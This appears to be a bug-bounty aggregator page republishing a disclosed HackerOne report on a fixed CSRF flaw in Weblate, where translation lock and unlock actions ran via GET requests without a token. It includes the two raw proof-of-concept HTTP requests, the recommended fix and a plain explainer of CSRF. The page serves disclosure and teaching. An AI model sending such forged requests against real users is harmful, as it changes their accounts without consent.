Skip to content
CSRF Disclosed report Beginner

CSRF : Lock and Unlock Translation

The lock and unlock translation actions on Weblate were performed through GET requests with no anti-CSRF token, so a crafted request could make a logged-in user lock or unlock a translation without their intent. An attacker could therefore force a victim to change the lock state of a project's translation.

jaypatel Follow

Originally disclosed on HackerOne

  • Triaged in 6 hours
  • Fixed in 22 hours
  • Disclosed after 23 days

Description : Attacker can force to victim for Lock and Unlock Translation.

That HTTP Request :

GET /lock/aptoide-uploader/strings/ka/ HTTP/1.1
Host: hosted.weblate.org
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: https://hosted.weblate.org/
Accept-Encoding: gzip, deflate, sdch, br
Accept-Language: en-US,en;q=0.8
Cookie:  cookie_here
GET /unlock/aptoide-uploader/strings/ka/ HTTP/1.1
Host: hosted.weblate.org
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: https://hosted.weblate.org/
Accept-Encoding: gzip, deflate, sdch, br
Accept-Language: en-US,en;q=0.8
Cookie: cookie_here

Fix : Make that Request POST , and add a CSRF token there.

Best Regards', Jay Patel

The original report as published on HackerOne, by jaypatel. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the lock and unlock endpoints accepted state-changing GET requests and had no CSRF token check.

What the attacker needed

Victim is logged in; victim visits attacker page or link

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you are logged in to a website, your browser automatically sends your session cookie with every request to that site. If an action like locking a translation can be triggered by simply loading a link, another site can make your browser send that request for you. This is called cross-site request forgery (CSRF): the attacker does not steal your password, they just borrow your logged-in browser.

What is CSRF?

Another site makes a signed-in user's browser perform an action they did not intend.

More by jaypatel

View all

4 more disclosed reports, best first.

More from Weblate

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.